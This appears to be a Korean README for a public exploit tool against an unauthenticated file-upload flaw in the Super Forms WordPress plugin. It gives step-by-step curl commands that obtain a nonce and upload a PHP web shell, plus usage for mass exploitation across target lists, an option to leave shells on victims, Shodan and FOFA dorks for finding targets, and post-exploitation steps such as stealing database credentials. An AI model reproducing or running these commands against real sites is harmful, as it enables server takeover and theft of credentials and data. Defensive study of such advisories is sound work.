CVE-2026-14894 — Super Forms 인증되지 않은 파일 업로드 RCE

Nonce 유출 → datauristring 업로드 → 코드 실행

개요

CVE-2026-14894는 Super Forms – Drag & Drop Form Builder 워드프레스 플러그인(WebRehab 제작) 버전 ≤ 6.3.313에서 발견된 치명적 심각도(CVSS 9.8)의 인증되지 않은 임의 파일 업로드 취약점입니다.

super_submit_form nopriv AJAX 핸들러는 다음 없이 양식 제출을 통해 파일 업로드를 허용합니다:

사용자 인증 확인
파일 유형 또는 확장자 검증
MIME 콘텐츠와 매직 바이트 확인

Nonce 장벽은 쉽게 우회됩니다 — 별도의 nopriv AJAX 핸들러(super_create_nonce)가 인증되지 않은 모든 방문자에게 유효한 nonce를 생성합니다.

공격자는 Base64로 인코딩된 datauristring 페이로드를 통해 임의의 PHP 파일을 업로드하며, 이 파일은 공격자가 제어하는 파일 이름으로 /wp-content/uploads/superforms/에 직접 기록되어 직접적인 코드 실행으로 이어집니다.

영향을 받는 버전

버전	상태
≤ 6.3.313	취약
6.3.314+	패치됨

활성 설치: 600,000+
발견자: andrea bocchetti (Wordfence, 2026년 7월 7일)

취약점 메커니즘

근본 원인

Super Forms의 AJAX 파일 업로드 핸들러에서 세 가지 보안 검사 누락:

// Vulnerable: nopriv AJAX — no auth, no file type validation, no MIME check
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce');  // nonce for anyone
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form');   // upload for anyone

function super_submit_form() {
    $data = json_decode(stripslashes($_POST['data']), true);
    $file = $data['sf_upload_field']['files'][0];
    $content = base64_decode($file['datauristring']);  // no MIME validation
    $name = $file['value'];                             // no filename sanitization
    fwrite(fopen($upload_path . $name, 'w'), $content); // PHP written to disk
}

Nonce 우회

// Anyone can get a valid nonce — no authentication required
function super_create_nonce() {
    $nonce = md5(uniqid(rand(), true));
    $_SESSION['sf_nonce'] = $nonce;
    echo $nonce;  // returned to unauthenticated attacker
}

공격 흐름

1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
   → 유효한 nonce 획득 (인증 불필요)

2. POST /wp-admin/admin-ajax.php?action=super_submit_form
   sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
     "datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
     "value":"shell.php"}]}}
   → /wp-content/uploads/superforms/에 셸 기록

3. GET /wp-content/uploads/superforms/shell.php?c=id
   → RCE 확인

설치

git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt

사용법

# 단일 대상
python cve_2026_14894.py -t target.com

# 대량 익스플로잇
python cve_2026_14894.py -f targets.txt

# 대량 익스플로잇 + 결과 저장
python cve_2026_14894.py -f targets.txt -o shells.txt

# 대상에 셸 남기기
python cve_2026_14894.py -t target.com --no-cleanup

# 디버그 모드 (모든 요청 표시)
python cve_2026_14894.py -t target.com --debug

인수

  -t, --target      단일 대상 (도메인 또는 IP)
  -f, --file        대상 목록, 한 줄에 하나씩
  -o, --output      RCE 결과를 파일로 저장
  --threads         동시 작업 수 (기본: 30)
  --no-cleanup      대상에 셸 남기기
  --debug           모든 HTTP 요청 및 단계를 실시간으로 표시
  -v, --verbose     상세 출력 표시

개념 증명

단일 대상

$ python cve_2026_14894.py -t target.com --debug

  Super Forms | CVE-2026-14894 | CVSS 9.8

  [target.com] [+] Super Forms detected v6.3.312
  [target.com] [*] Nonce obtained
  [target.com] [*] Uploading shell...
  [target.com] [!] RCE confirmed

  Host       : target.com
  SuperForms : YES v6.3.312
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 2.1s

대량 스캔

  Targets: 2500  |  Threads: 30

  [RCE]    target-vuln-01.com                                 2.1s  v6.3.312
  [UP]     target-patched-02.com                              1.8s  v6.3.314 (upload blocked)
  [!]      target-no-plugin-03.com                            0.5s  not installed
  [150/2500] 6%  |  SuperForms:47  Upload:18  RCE:12

  ───────────────────────────────────────────────────────
  Done | 180s | Targets:2500 Det:47 Upload:18 RCE:12

수동 익스플로잇

Step 1 — Nonce 획득

curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=super_create_nonce'
# Returns 96-char hex nonce

Step 2 — PHP 셸 업로드

NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)

curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=super_submit_form' \
  -d "sf_nonce=$NONCE" \
  -d 'form_id=1' \
  -d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'

Step 3 — 명령 실행

curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'

FOFA Dork

body="wp-content/plugins/super-forms"

Shodan

http.html:"super-forms"

영향

성공적인 익스플로잇은 웹 서버 사용자 권한으로 원격 코드 실행을 가능하게 합니다. 이후 가능한 작업:

wp-config.php 추출 → 데이터베이스 자격 증명
모든 워드프레스 콘텐츠, 사용자 및 플러그인 데이터 접근
지속적 백도어 배포
내부 네트워크로 피벗

면책 조항

교육 및 승인된 테스트 목적으로만 사용하세요.

이 소프트웨어는 승인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 익스플로잇을 연구하는 연구자를 대상으로 합니다.

컴퓨터 시스템에 대한 무단 접근은 불법이며 다음 법률을 위반할 수 있습니다:

United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)

Indonesia: UU ITE Pasal 30 & 46

European Union: Directive 2013/40/EU

United Kingdom: Computer Misuse Act 1990

저자는 오용에 대한 어떠한 책임도 지지 않습니다.

참고 자료

자원	링크
Wordfence 권고	wordfence.com

_{이 프로젝트는 WebRehab 또는 Super Forms와 관련이 없습니다.}

CVE-2026-14894

인기